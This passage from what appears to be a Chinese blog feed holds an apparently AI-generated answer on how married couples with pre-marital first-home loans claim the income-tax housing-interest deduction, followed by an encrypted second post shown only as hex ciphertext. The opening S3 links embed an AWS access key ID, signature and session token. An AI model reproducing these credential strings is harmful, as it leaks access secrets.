QwRRV1gAlGybujNqjsgtrOxK+ThpNJ1MYHp4tVQLJydfmhy7SKk63WdAB9kNjpZXmk4IgfKcjhdZyxXOmEaMhy5v3+XlCkE8WNQKcRL9RHH7ZiEiOvtjv5fNUsZXl7dRS1Db5CxNB9unI5oriNC/tmt/q70hwWYtkw4fTKuacIqk6eMtWTzTHcctaI//CEdFAg7eGoV4e5EgiNt1CFVaH5lQS80f1lHDLdqUuYXflndbQ/Bk8DajCh7WJbucitqQUIOqGw4EZTKXlBz6Nj434a7gvMyYlAuBt+RU9JprRqGTewRIIa4EwdJOm2NC/Re0GdOvM9wlUzVPb6c7IFNimA92p8KAoVPe6aLm6l5jXUVZhG+d990cwGUaCOfiyTJdmsI6g2T2KdvzcDyJQISpp5zLewvnLJCFb5m4sB9kXsUybvHDjWtJOSdgpBvCcZed7JSTyk0pFx1KxaU0wwu4vqzgY6mAF5I6FtcAR32VQMgLuWrTbFvWHYTCfoRahYL9tMqSXlm/T+NSIFUa/JRXVP6BJnZU5ULKLsEPaM22gBjNW6aHQR5m2MLHvo4ilEA0+HlgFc1+YkqHPcccS0Q1lFW3NOCeWuovDw8IHQ504dLMtlbNLJ+LVLUpKHsY+6j8p4DW3mERn2psdtbuSBWgNml6l1ifflWe3Htmb8WQ==&Expires=1775931801">https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/images/4819480/34d1b16c-6555-4aad-ab24-4230f7783242/IMG_20260411_214150.jpg?AWSAccessKeyId=ASIA2F3EMEYERJCY4CL6&amp;Signature=1QDmGWldo1J7p6XPknR0IotYMsA%3D&amp;x-amz-security-token=IQoJb3JpZ2luX2VjEIL%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIGkOGrqD88VE7TA1OjDN7uiFlZf1qOu18TMKlkQB8MolAiEA27dWXumZoolORWiy4Roy7%2BP4VppgS6X1SmLZ%2BHf3swQq8wQISxABGgw2OTk3NTMzMDk3MDUiDCWVFv2DR54%2B4bOTnCrQBOpQjUhe7ukAWfofHfROHSekytxdSHOH9eGNpm%2BCwMjfUB3dvATkZt4j61vtq4O9o1thHD1%2BC8NDzGl1HlNgp4Hc0DrCc4znA9gMjo1371nl3GKl7UcMWMbjnMiN9wPtzKr9OulEJm94ayUHack8VRSJs6zVe6Y3rN8O4HwemElj4ETBjx7XOR5TlT1EEFWvIiMOJZ2gx1Xi8UktLyCiyOtxkAYPvJGL5nPikV2BOgRIRlZL19F4WzPe%2Ff8E99qZ5tDbpYiZKD9Nv1Aw1auMk9DuCTlscqHvz9nn34yXAeczwTKOEZo5lHHYStNN07%2FQdqx7nuQwRRV1gAlGybujNqjsgtrOxK%2BThpNJ1MYHp4tVQLJydfmhy7SKk63WdAB9kNjpZXmk4IgfKcjhdZyxXOmEaMhy5v3%2BXlCkE8WNQKcRL9RHH7ZiEiOvtjv5fNUsZXl7dRS1Db5CxNB9unI5oriNC%2Ftmt%2Fq70hwWYtkw4fTKuacIqk6eMtWTzTHcctaI%2F%2FCEdFAg7eGoV4e5EgiNt1CFVaH5lQS80f1lHDLdqUuYXflndbQ%2FBk8DajCh7WJbucitqQUIOqGw4EZTKXlBz6Nj434a7gvMyYlAuBt%2BRU9JprRqGTewRIIa4EwdJOm2NC%2FRe0GdOvM9wlUzVPb6c7IFNimA92p8KAoVPe6aLm6l5jXUVZhG%2Bd990cwGUaCOfiyTJdmsI6g2T2KdvzcDyJQISpp5zLewvnLJCFb5m4sB9kXsUybvHDjWtJOSdgpBvCcZed7JSTyk0pFx1KxaU0wwu4vqzgY6mAF5I6FtcAR32VQMgLuWrTbFvWHYTCfoRahYL9tMqSXlm%2FT%2BNSIFUa%2FJRXVP6BJnZU5ULKLsEPaM22gBjNW6aHQR5m2MLHvo4ilEA0%2BHlgFc1%2BYkqHPcccS0Q1lFW3NOCeWuovDw8IHQ504dLMtlbNLJ%2BLVLUpKHsY%2B6j8p4DW3mERn2psdtbuSBWgNml6l1ifflWe3Htmb8WQ%3D%3D&amp;Expires=1775931801</a><br>[8] 我在个税APP维护住房贷款利息扣除时，有一项“是否婚前各自首套贷款 <a href="https://zhejiang.chinatax.gov.cn/art/2025/4/22/art_13314_636170.html">https://zhejiang.chinatax.gov.cn/art/2025/4/22/art_13314_636170.html</a><br>[9] 个税6项专项附加扣除纳税人常见疑问50答 <a href="https://guizhou.chinatax.gov.cn/xwzx/ztzl/grsdsggzl/zrrssglxtcjwt/201812/t20181225_28681501.html">https://guizhou.chinatax.gov.cn/xwzx/ztzl/grsdsggzl/zrrssglxtcjwt/201812/t20181225_28681501.html</a><br>[10] 个人所得税APP中，填写“住房贷款利息”专项附加扣除时要注意啦！ <a href="https://m12333.cn/qa/piraw.html">https://m12333.cn/qa/piraw.html</a><br>[11] [PDF] 2024 年度个人所得税专项附加扣除填写指南 - 计划财务处 <a href="https://jcc.ecut.edu.cn/_upload/article/files/31/99/c2657a204b259984cd5523f4f6f1/dd71ea06-b500-4291-a51f-96596cb349a6.pdf">https://jcc.ecut.edu.cn/_upload/article/files/31/99/c2657a204b259984cd5523f4f6f1/dd71ea06-b500-4291-a51f-96596cb349a6.pdf</a><br>[12] 个税6项专项附加扣除纳税人常见疑问60答 - 共产党员网 <a href="http://www.12371.cn/2019/01/03/ARTI1546482102585193.shtml">http://www.12371.cn/2019/01/03/ARTI1546482102585193.shtml</a><br>[13] 个税填报住房贷款时婚前各自首套是什么意思？ - 本地宝 <a href="http://wenda.bendibao.com/live/2019428/920.shtm">http://wenda.bendibao.com/live/2019428/920.shtm</a><br>[14] [PDF] 【个税年度汇算】APP操作指引——住房贷款利息专项附加扣除填报篇 <a href="https://nashuirenxuetang.oss-cn-beijing.aliyuncs.com/%E3%80%90%E4%B8%AA%E7%A8%8E%E5%B9%B4%E5%BA%A6%E6%B1%87%E7%AE%97%E3%80%91app%E6%93%8D%E4%BD%9C%E6%8C%87%E5%BC%95%E2%80%94%E2%80%94%E4%BD%8F%E6%88%BF%E8%B4%B7%E6%AC%BE%E5%88%A9%E6%81%AF%E4%B8%93%E9%A1%B9%E9%99%84%E5%8A%A0%E6%89%A3%E9%99%A4%E5%A1%AB%E6%8A%A51.0.pdf">https://nashuirenxuetang.oss-cn-beijing.aliyuncs.com/%E3%80%90%E4%B8%AA%E7%A8%8E%E5%B9%B4%E5%BA%A6%E6%B1%87%E7%AE%97%E3%80%91app%E6%93%8D%E4%BD%9C%E6%8C%87%E5%BC%95%E2%80%94%E2%80%94%E4%BD%8F%E6%88%BF%E8%B4%B7%E6%AC%BE%E5%88%A9%E6%81%AF%E4%B8%93%E9%A1%B9%E9%99%84%E5%8A%A0%E6%89%A3%E9%99%A4%E5%A1%AB%E6%8A%A51.0.pdf</a><br>[15] 个人所得税贷款扣除分配比例 - 深圳本地宝 <a href="https://m.wenda.bendibao.com/live/1269.shtm">https://m.wenda.bendibao.com/live/1269.shtm</a><br>[16] 个税专项附加扣除常见热点问题（住房贷款利息篇） - 人社通 <a href="https://m12333.cn/qa/pzfks.html">https://m12333.cn/qa/pzfks.html</a></p><h2 id="若是满足第二种情形"><a href="#若是满足第二种情形" class="headerlink" title="若是满足第二种情形"></a>若是满足第二种情形</h2><blockquote><p>1.若夫妻双方都 填写 否，都扣除100%是否可行，税务部门是否有信息互通被阻止甚至被处罚。。。<br>2.夫妻双方婚前各自贷款购买，分明有两份贷款合同，婚后必须集中一套抵扣而不是两套各自全额抵扣，岂不是太不公平</p><p>这两个问题非常关键，分别涉及<strong>合规风险</strong>和<strong>政策公平性</strong>。</p></blockquote><hr><h2 id="问题一：双方都填”否”各自100-，会被查到吗？"><a href="#问题一：双方都填”否”各自100-，会被查到吗？" class="headerlink" title="问题一：双方都填”否”各自100%，会被查到吗？"></a>问题一：双方都填”否”各自100%，会被查到吗？</h2><p><strong>会被发现，且存在补税和处罚风险。</strong> 税务系统并非只靠自主申报，个税APP后台已与银行、住房公积金中心、不动产登记系统实现数据互联互通。[1]</p><p>已有真实案例为证：2024年深圳一对夫妻，婚前各自按首套贷款享受了多年100%的个税扣除，婚后系统在年度汇算时<strong>主动弹出提示</strong>，将其中一人的贷款标记为”非首套房贷款，不符合扣除条件”，要求补税。[1] 这说明系统会在年度汇算（通常每年3-6月）时交叉比对数据，发现违规。</p><p>具体风险如下：</p><ul><li><strong>被动发现</strong>：年度汇算时系统自动核查，两人均申报100%会触发异常</li><li><strong>补缴税款</strong>：需补缴多扣的税额（每人多扣了约 1000 元&#x2F;月 × 适用税率 × 超额月数）</li><li><strong>加收滞纳金</strong>：每日万分之五，时间越长罚得越多</li><li><strong>情节严重者</strong>：可能被认定为虚假申报，面临更重处罚</li></ul><blockquote><p>⚠️ <strong>结论</strong>：不要抱侥幸心理，系统的数据核查能力比大多数人预想的强。</p></blockquote><hr><h2 id="问题二：明明有两份贷款合同，婚后为何不能各自全额抵扣？"><a href="#问题二：明明有两份贷款合同，婚后为何不能各自全额抵扣？" class="headerlink" title="问题二：明明有两份贷款合同，婚后为何不能各自全额抵扣？"></a>问题二：明明有两份贷款合同，婚后为何不能各自全额抵扣？</h2><p>你的质疑非常合理，这确实是很多人的困惑。政策的逻辑依据是：</p><p><strong>税法以”家庭”为单位计算住房消费能力，而不是以”个人”为单位。</strong>[2]</p><p>根据国发〔2018〕41号文件，住房贷款利息扣除的立法原意是支持<strong>家庭</strong>改善基本居住需求，每个<strong>家庭</strong>一生只能享受一次首套住房贷款利息专项扣除，上限固定为每月1000元。[2] 结婚后，两人在法律上合并为一个家庭单元，理论上已拥有两套住房，已不再属于”基本居住需求”的政策保障对象。</p><table><thead><tr><th>视角</th><th>婚前（各自独立）</th><th>婚后（合并为家庭）</th></tr></thead><tbody><tr><td>住房套数</td><td>各1套，各属首套</td><td>家庭共2套，超出”首套”定义</td></tr><tr><td>贷款利息扣除</td><td>各享 1000元&#x2F;月（合计2000元）</td><td>家庭合计只能享受 1000元&#x2F;月</td></tr><tr><td>法律地位</td><td>独立纳税人</td><td>合并为同一家庭单元</td></tr></tbody></table><p>[3][2]</p><h3 id="为什么婚前可以各自100-，婚后不行？"><a href="#为什么婚前可以各自100-，婚后不行？" class="headerlink" title="为什么婚前可以各自100%，婚后不行？"></a>为什么婚前可以各自100%，婚后不行？</h3><p>婚前两人是独立的个体，各自满足”首套”条件，各自享受1000元&#x2F;月完全合法。[3] 婚后合并为家庭，政策认定家庭整体已有两套房，继续按两套各自全额扣除等于变相获得了双倍政策红利（2000元&#x2F;月），与立法初衷相悖。[2]</p><h3 id="政策给出的”折中方案”"><a href="#政策给出的”折中方案”" class="headerlink" title="政策给出的”折中方案”"></a>政策给出的”折中方案”</h3><p>法规并非完全不顾婚前贡献，提供了两个选择作为平衡 [4][3]：</p><ul><li><strong>方案A</strong>：保留一套，购买方享受100%（1000元&#x2F;月）；另一方放弃</li><li><strong>方案B</strong>：两套各自享受50%（各500元&#x2F;月），合计仍是1000元&#x2F;月，但两人都有参与感</li></ul><p>从节税角度，两套方案合计扣除额相同（均为1000元&#x2F;月），但<strong>方案A更优</strong>——建议由收入高、税率高的一方申报100%，节税效果更大。</p><p>引用：<br>[1] 新婚夫妻遇房贷抵扣个税“缩水”，婚前首贷婚后为何减半？ - QQ News <a href="https://news.qq.com/rain/a/20250429A069QO00">https://news.qq.com/rain/a/20250429A069QO00</a><br>[2] 我在个税APP维护住房贷款利息扣除时，有一项“是否婚前各自首套贷款 <a href="https://zhejiang.chinatax.gov.cn/art/2025/4/22/art_13314_636170.html">https://zhejiang.chinatax.gov.cn/art/2025/4/22/art_13314_636170.html</a><br>[3] 新婚夫妻遇房贷抵扣个税“缩水”，婚前首贷婚后为何减半？ <a href="https://m.mp.oeeee.com/a/BAAFRD0000202504291082157.html">https://m.mp.oeeee.com/a/BAAFRD0000202504291082157.html</a><br>[4] 夫妻间如何分配个税专项附加扣除？各50%or100% - 人社通 <a href="https://m12333.cn/qa/pimur.html">https://m12333.cn/qa/pimur.html</a><br>[5] IMG_20260411_214150.jpg <a href="https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/images/4819480/34d1b16c-6555-4aad-ab24-4230f7783242/IMG_20260411_214150.jpg">https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/images/4819480/34d1b16c-6555-4aad-ab24-4230f7783242/IMG_20260411_214150.jpg</a><br>[6] 是否夫妻双方婚前各自均有首套购房贷款，填报“是”还是“否”？2.这种 … <a href="https://www.chinaacc.com/wenda/detail/wd/24730382">https://www.chinaacc.com/wenda/detail/wd/24730382</a><br>[7] 个税填报住房贷款时婚前各自首套是什么意思？ - 本地宝 <a href="http://wenda.bendibao.com/live/2019428/920.shtm">http://wenda.bendibao.com/live/2019428/920.shtm</a><br>[8] 是否婚前各自首套贷款，且婚后分别扣除50%”是什么意思？我该如何 … <a href="https://guangdong.chinatax.gov.cn/gdsw/gsrdjd/2020-02/26/content_0393fc82cf93423aa64ba47409adb5da.shtml">https://guangdong.chinatax.gov.cn/gdsw/gsrdjd/2020-02/26/content_0393fc82cf93423aa64ba47409adb5da.shtml</a><br>[9] 婚前各自首套房贷婚后个税扣除怎么算？50还是100？一文说清！ <a href="https://m.10100.com/article/34272121">https://m.10100.com/article/34272121</a><br>[10] 每日一问丨个人填报住房贷款相关信息时，“是否婚前各自首套 … - 搜狐 <a href="https://www.sohu.com/a/1003750547_121106991">https://www.sohu.com/a/1003750547_121106991</a><br>[11] 个人所得税住房贷款利息专项附加扣除热点问答 - 人社通 <a href="https://m12333.cn/qa/prfyr.html">https://m12333.cn/qa/prfyr.html</a><br>[12] 夫妻间各类“专项附加扣除”情形 - 税屋 <a href="https://www.shui5.cn/article/64/125498.html">https://www.shui5.cn/article/64/125498.html</a><br>[13] 共同贷款人如何享受住房贷款利息专项附加扣除？ - 税屋 <a href="https://www.shui5.cn/article/ca/126194.html">https://www.shui5.cn/article/ca/126194.html</a><br>[14] 且婚后分别扣除50%” 时，如何填写住房贷款利息专项附加扣除？ - 搜狐 <a href="https://www.sohu.com/a/1004729183_121106869">https://www.sohu.com/a/1004729183_121106869</a><br>[15] 是否婚前各自首套贷款，且婚后分别扣除50%”是什么意思？_税务 <a href="https://www.bjmtg.gov.cn/bjmtg/c102908/202303/60d444ab9b9e45008f540f978783dd5a.shtml">https://www.bjmtg.gov.cn/bjmtg/c102908/202303/60d444ab9b9e45008f540f978783dd5a.shtml</a><br>[16] 是否夫妻双方婚前各自均有首套购房贷款扣除百分之百和百分之五十 … <a href="https://ailegal.baidu.com/legalarticle/qadetail?id=a62d745d5e746f250118">https://ailegal.baidu.com/legalarticle/qadetail?id=a62d745d5e746f250118</a></p>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 法规 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>征地补偿与维权</title>
      <link href="/posts/zheng-di-bu-chang-yu-wei-quan/"/>
      <url>/posts/zheng-di-bu-chang-yu-wei-quan/</url>
      
        <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="抱歉, 这个密码看着不太对, 请再试试." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <script id="hbeData" type="hbeData" data-hmacdigest="f57b73c02163ab7e9c9f1f56bf76206acd1401ed8e96782ffd06eebcf0c5d0a3">84e509136f25ae234e41eb32425e937e09f72a96c6baf01f31e25cdc775df3779782464e589006fc57f223fb20e3ce6f2045c76b4d704588a8be8ca259785240b21ce837f534a1c920fa56836544d57f393f50fe555ae41997db81ecb0f97b0009125f535fd52d369d90a01c0b58cdb0b562059d1b36c244eab39c2f3f77da5608fea836c33e3f620197ab149c27d529a4899c3089fc93fbe032bc8ffc50070eb98094a41134969700748b6d3986f7126d9403c4a47841b979ec6d27aee8a8ac1b4a4971323ab5cc2325ed821cc9c8bd44ed5796adb2754312f12a0e64fc8344b1a93893e26304e000fd8d20b4dd46ff232b82bba5d3aad0ddd3d67bfbc7a1de9b4ff685694294e3240bf5c7c33af2edc51060403051d099370a25c1f869b276db6cad1df06afe3a6c53cb306d41868ac1d60b5ecaf7df2f05a4621b26941c82b48ee61caa59b9e83310d00e994b804e15e37fd9ebccfc19c11168e7461c3f135b428cc29e868d4a18757aea86c6c6f30dbadb570d625197743c6b236b3eb1f191e66a96a30f7c0907aa856750eb8879fe5240ba2f4e6d1d430c890e4dcb03511d1e181f84308823e3aa41e19832b5d47260f48e20e787b04149db52c1fdfc072078eb08112a6ac0b37c6ac0a1badbbcab409a79bbfa0eb4592ef1742db1cbf451b11f5e24f3b7625727e9c6aa745b9581fc1ad4aa2454e102d7240732c8a683e29d60073e357d4ca64def4617102192d9b5e861edbee973cb6985d385ab43c3e8b39a57ae4101e81dd2766cb28c7bcbfab45f774bb09f3ef1779ff846bde8acd946ef984ae9245edab21c9c90aeb7d5fda75021379fe389a764b59854c670d5bfba5db111453181b2012cec2df9fbbd3c95fd8c1fbfb51261644a36b9c235379c503bc02dc678b70abb1f5e1d5794fd44f8512e7e0c80793ea11bbf591c7c2ab047d7bb18aecbb00de83a620cc96a07519017b43abdbe06136947eb48596b296295e6ba0eb4309da583da97784af0600b969460a00e4dfddd567549e803f7128c5e89c0936920a02eebd6d37276431d853f51f79d873cba4cc7a2d71d540d8f9d4e4dc176a571b49d68746730e3719d59b8f02ee548dea55bae03e81a264dea8a249df2e6c79316283467f7c954a4f71f1474a63c96ccef81375d71b1413a499108cd216fada9cadea0aeb81fb1009d8c3f99f5a62a6ef05f961c70bfcf46fca23947cc5cd75bab6ed01ddc2d840ea94badef3e935afa5cd224ce64327ba5dbb1a0b55f67bd7515485446c118db922585234c304b8b3f7f8df6443343f72bb0a732b8b531d08db1ca4a9723a807d5089d8f1a4bd5a420687641557ecdc0630719a89deeda661b3d0bbb0e7c361f807ee30cc9568b29f9bac61dcdf80fa4088f9d5d7fdc5e71392caddbdb8e9d58befb6e40abf9d2389021a2fb887840dda81db6b7fdd9e340343a93306a35804856ea09b93550d0f8a03160436900b785f4d5b9ef8eee695788413130005c82267e3627b456cdbf1c72ac7b45191412b332056b9a660d94c66048a867cd503821c602d0147329942281893a9f1cca19bf5a7bc60a21338cef37d19f8b4df4ca6fe5ab4d8a72a9be4ac00b54d5296b83cdcfa196867d6b04a3839caa918954f47fbf631fcd4ed94f1d32610899e05180659b95bd803a46028d0cfa123145bb281175db882948a0fece550e1c5d09a0467e5147a788ddc211c51af323237ab560543660d80aae6a146e234095e8f68bbfc10a7c97659317bcbc3588e28d7ad82f1dfbfffa23185bb4b2648acaca3ac7a7d064357bab8bd5034a60a70c23a316b971eee40aac1b4c8f567baf87d021b170c89005c8b0cd7f7eece7c315008dd76f120ebf1b524d12d5ccb595847e7ea33a081db63990b34c74b338d7c8bff98b6f9eab5ea28f73775e2a9429e8b147cd3cb66505e24f62e657db2b2b92c2965fe1fb8964015e71e348c0605eca6d749c9bfca5c33a900a143de452a113278d4a2ca221cb8b41e60b726e20de0a0d65e0d70413debbbeda88866411191280e3b4dbb2e3478ef478ee50f14448fc8942c973dd56190134d4988cd458158f2761f3ef31003908715a86ca0a2f6743d3325646427fffc64bfffbbd566a04d08ec11596c64b30e2f646c0a3bd9e31ae1709bb6f305325e1536c34a6b3993a242edd6c9300d5e7290f62f27aef7d8d87c0e8b6ef6bb2d10ecf25ef7dc78e782ab7f2722da252a846aeb56dbe4095b10bd10281edb62e3b505b304dd6ddcf134ea64fa181da4d9573ab7837b889411b46b61a7f7dd11836f3fcc6c6560ff43df4def2cd4b12208c6f8d29c867bb31100db1b85c6a99a77ec45d5b602f50d257e4113092afd3833d3a9becaf4e9f2140b70ef178dc71d0ded9c3690eb478782264c9ac7898bfb435bf6217adf1797f628c140b7771c3940e9d1f77dfa96c7c72f8cd4bf6bd0e806676395260a0efd5f533b55b0f88e4bffefac899c5d6a37b5a54e5bf01138d13a503ade9a8882445a32451832d57c3aa9152b103731072bae6ab03caea745459c7e214dd013490c3163c4b0a4bd2779a4034fb4b00bf3230d507a3ff420847442968125bfacac0c5bf92f0f103abfa23c69e780608b43f593426d6305ab5f5e84e6298b183b033172ee580295f983554cba8bba035901eb5d40d2038541c33c6cdc763c6401b07625e87d699d3344f91d3fa1b59f88829068a5186bcac8d69814169fb3fcf64187a43881f7eab7d6062d48029b1d8d10e336daeb196bae0cb57262036b0a37416fbf256dd2a633cf48c76c86b89ca4a8339b0b33325641b95e4ee41b5ff5234b494f5b1494944a1b69e3d41a83fd9e7c93f292a7782582d96cdd55b6e3f467835bcdf9da089a49f072fa25ab53b05053add9f174e644c7c89201c3e6c913d733d584c1e96bfb9cc3b20fca517065b576d8fa25ea627ea5fc235edb2b35238a4e18382a796d0b89211db4a8a33cfb8cb5dd88ac07cf07e6ee8b5481b11f1ed79a9e2c41f322e2db2ec20c3cb8fc02fb2e1696bdbadb24fe9f628ef76f5c27e4b3ae6cc57656ee0cf0a3ec40332650aae12be11a5825911c2af701add9c47cef9a158a81b94e46407d6c9d3016aef262abe87960d6e1f9d9be4b7fb759f46ebac3dd8d1bee8f723f0e77cf0c755400c1edd9defb61d9c210a5efc9b741bc0763499b47fd93c4cd474501b23a369a5319d752862ed18a0c6f02b9c9327c62bef54d9251fe682910f02f26cb8a121778a9efee2ef7c9a7e8aa22c834e50dc2f349c9b365045e65b4ece2e67945092c86ff446c8e3c45a395eaeb7bf206463b8056572806af76b0575a022d63dd033c5a1cb6e8c2d65f6228fed8ccda62204d80e38950dbc2c51c083c71b7e3826fa608cc4fc5f1ff99f31f3c2b6143f3afefd8074e1265bad7367216c8cbfb04d370d0cbd4c588f996143723de574f74982e54b41704d28d0423a6b5dd00f8a205a6c9c466905b79366b0988673781282eb7b1abec7ab43587942d8f49f179c1febb20cbb2a83244ddfce657009cd14643948cd9dd4ac871ff0795a4b8821dc25eb55125885e0d8457f751e50838211354d59752a1336641c510c9129f13d4f51b5cfeae0d428dc288c166ea540a794a2d7941f0d0be533cc9f25fe9f05549946f16c51e62db87ff588dbe04454a68fe275fec251df041324a3190e7e9acdbb004807455db5d19c5ec022cd0a228870818b62d305127ad2bb055b6a7e3c28911aa069af56509013a1691bd5fd5e7533b78b9eee3543d22cb29e34738d746f16809a4276128221cce331ec2adfca268c2c5e4f19cfe3d9ec469dec3158dc92bfa637ae2b4a4ff1a0805e722bfd9b3e2c86728cf3c971596648860c98a564e417cb2f24afa7d07ae6a3bdd1e2e18f3879c686189ff3dd61c424beab17900ce688a8cffd6731644b834ed48410737e678dc12399b8cfb957fe487f1cb0fa81ea342ea32d6c7fca16e379eff5c7c2bc7f62d7116ec8f1dc43097cef900a8bbe8246d34cab91aff0a6027cade02d1e878421d037878c273e3fcb053a3cf6f511daaf1e23887540ec84c4f8916f644a0292b48c107ed1a64f3371ba90b61cd27f0ed40a0aecf177a2e0e56a1929f3a253a6e84fa86df0eb23a14f2604ca01fc15463850480f5bd1c45d689ac7f01c5c95161efb7dc4dbb1f96d2c6cf5b4c45a90ef42caac692140923256763009427a009a0a5beeb19fa938de0a8874d6747f75642dba653510f6e6d5f07109a6c95234fbdd31079f81a55cb39d89503d6bd430aafd11940dd85161d765f92df9d6931c244a4c214a6906a49331a7d7f141e7ac5153a1e0050e803bacb465491a892f38d65449dbc2929053df13ac00758ec06016b6c063dbd9059adcf11a9e0a7d5c4d8b30d4c70e4babcaf5bef1a4d0bad6312ff2220fde25ab0789740893d3523172de9316ed7b00573169e29fb9db8fc919794001b30faf1a995538d557e4ca5f4de3e6a72e87fffa6d14738680e2c2f2a83bec968b1f3cf7049d46108a0a7b1f436a0f3408401647bf9e0f05af6a8d07fd8fbd4b8a28171671343c743129afcbad1949dea9196dd0c3e68b0dc29e231d21c85ff17b9646a6958eff8323df66c6ca2bd07a4c18e68373f5ad9aad08a90c6cdc34fde127259107d4df5a3a34d34ae2214dc79beee87d304438d1013dc1796ab81832daf799d5d4b9bb54c166534b083c27ca3293f4410015dd26ca640ef999db2e433eadf0b361c3eb13e5b135bd1ad83fd195bfad14a49493e51dcaafe551ff5fefd7d477daf31772c254e5bd7a8a48268bb8785b92b9c33ea039f17ea67aac8b725e1d53f661057f378b903291c765491eaff85a4857d212394e75330a2fd59ad123c4936a5f995d7d43b0c4f5e02d0ab9c6510bad91f00e1925ff6c77515cb78877a120dff665f33a6df04411ab1bffec93fe5a76644bb4004e84cec85e4521dc874aba7112cedfeeec5599924e28b0462ba2b7f00daf653b0f50f22cce18f251b27ae5d492597d62e00d340b5648e9f15bb1b70b1866f23c0868cbe039eb00dce9fb19a20762ccedbff8bd717490b650b828776f708d540b57e1752c7d14be69f84bac5e5209b109bbdf7ed02bfe3e420fd115beb760b7ad5684b2a716ab481eb2027f66ce5d6c223078b6fbf45ea6638c40100ce0707798ad62378e2caec9703eac85b52eae53de4ece8648426f582579a800b238bdda3b714cfc47e0c781052057743d4a02f4054a8b29c74cc99b83a2ad0a723ae46724b1462e83760f9184d327ec0d16c068863f1f5eb8270f16773ccd2900c16a3db9ba19cd811840bb97fa078227a8b5808b363c9492f8d33f77bda37346c6ffb30d8fcd8132b2f666ddb27af15d863f171f9c1ad229eaf98a72bb5a771ac0b6af3cbc98681ab42156b3aa14c563c9cbbc83a40173b5dc0199795691ae1150fa8236699db92bcff572ffe06154d94962da9365e6bf6238988584cef85195f65c4c52bb8fc474eb31824499b6ec0c8a7c330b8dbaef09224ecfdcf88cdfeef8ebde4a6d8ddfc17444bd1de0df50f6cf6e0bac9421b189337504e7c6c1501d931a4202512a1d2a582ffe22b62cebff80b2c10190defea93b355d2dd914ed77eb8f3b501f081af089e8219603c7432267fb8fd682372828b1f109767190c57c6a0ab6c547e82bfaaba7ec3aada4c4d6f704cc0f50652363f566a593ae7d6bc1624537c246704f3c32462f2879bba425d4a9e959cc4dcfeee4ffd5d91ffada68c51f3b493a5ae9617321fc4a1fbcb2b737efc3421fda29506cc747ac81819a3e820c2c3caf066b10287f40748702c8476a0fc27452cde48be6e342adb5d1d7dc30ec0750a33bed2380bed419ef1676227217d7ff55aae482a38fc24dd39738b2e5d3efe82e77c684da796cf1bacbcf02698c995b28032b978bd1392cc4bfbba60924103d4707af5e5fc3728e0a75bea59c1ee4055005a43df5a37f133bc9cb2486da1413620c3ba2c5f05b085c18334efe489c147eec25c6a4a7b7fdcef29b51cf102c09b5b70f1b0e94d09464f45b46d0a403934a46af22f0fdf463c66bf05ad1e6ae2cf5ec146d59869985729416ed1d4d39f65e0fa26e123cb7607dfebb35c40d34a7358b4832363db12fdb5bbde7860594c3a5993507143ac336d390b13576d77e3607c341c05a10b4b508e1a3ddaf47d1b1adcf4a81d28f37523eed4bce73863ecec1aeb812fcd1a644f5f342ccbb71b1d43a6136cfff48029e4d863f1e06b439aa1249742a1234cf214e659dbef53a916aef7eea80c1e752b9ab93034bc0a767bd7f114651c683714178e59904d46d466bd015b0227323c2f0671f1e441d1dd5b5591f306e6d9a904d170db762e7f60c9e8a265515b50489f30781f00e63e5adad5f768e47b7bddd3816ccaf64475a6bcead5bcb15438a411ace020758c6b2ebf273f99725ff4e3d5959e92ee6a980ff5a2c1600bae561326b867a202e32f39c13eec85bcb17e3855322d6e8a1ec6be19a80755784a6b2c97d86ce6d408e4a0e2feba820be62226614e45d1a642a573b1a3901802bb33ab9cfb59df1b566c2fe7d215db04c1b1c48212e16b08f4cc322847977cc4f3a7c353d122d4e0ea45feca347b939eb08d8cd1cb412efc46e18ae77002ced1e279240543e39d117c21c2954946bc7d01669fc75c943bad13f8963428bd35ad94b85e78af9c0cdd57e36b8fcc6ed765c439a44df34057bfb257609a3ce72ba733225b96bbe73354ed2ba05a324dd6c8c6466b982f3b41e43193278360458db665500179bcfdd15ed183f4c9623d5d2e78561d4123c54abeab08249f12bcb2a225efd0eb4a07072aff9cc40b2e8198bf698f4b86c678ae3db7a8ee7c9db9d6145cd8cff09c6483359a1e73ffdfeff5bb58a60c2414f83fc358166684764f48796ae1971b5db3e6a5d38097b901c15105dceae55344bcb9d872354683ae4caa24f44f14a3b6a235edc66cc364e279fa6d6ad125f0f59922ab9f80e5efa43d72449700731908547c15f418ec4a2cff84710b8832f59ecf4e90fc19de5c2a3398d0c438103630e5495d6950cdabb8d8f49b451ed22b33e4f60db51f0bc1cd1d5b6814e6fa35a82bdc1eb4a06eeb033070efdfc45f7ef4862dd2a0b396615d8039aa846e808221ec0f48c334b938a465fc4b72e3a9968866c0d12d0636462ace6790cab107aed360ac0fda3e5036c2908121c9962f01a2e974cbac5e3116a9f209c7d08c03a06c6444c6dc88bc1a5c54dc5315a2f844bd996a63575d8068ef5f5e32ee2fbfdd08d39e72b046a7d03d83eedf30809099d8ba964c59d1f82461fa29217ffb0a0bbfce630828a8d8076660e209251c83e857ecd9313a4d855982ce424fb01c2914fffff60e2fde38ebc351ca648485bb66988d464dc508c07c893ecf9719800cc932968e7da093c74b96c9d204c3ce917c11ab6d32f97809b1123fdb460b617704c0a2e466d7a4345566d896b6051308bc08f9e7933f631a0db7e821a678cd06a66d3a2515f8037404917cb87ed8790c6ff1493878af83ac5fe6917808c3abbacea4013307387b5d1f6ed87a53d7e5af64f84c0f934d0573b9830365d163b49ed637e73c0945ae12b344e021a43edebd4af86eeb77aa56e08d82f45dab1f446e48224e7cd5d400df634ab311bb11edba9dba73496273ee076110d7db8df45e293dfd2a8b5bd8245e129baf70f4e91f6ef94c0ffe5bc2db848cd2bbbf12f436729ca7f2c773392f6cd3ab5675674596c37094ffab4b96a26f3f406ea7f81eb7474728672b8f3e43ffd629cd722e3b075dd4fc5fd2f984dce2ff8e06edd87beec7b97c35b99876124ee34d5b1515d64cab77fa8e6cf3df15b25244df928741bf1299fded1c01d5a930967a8a23a7578bd619b661d76d7b7a2b9bbb57c625c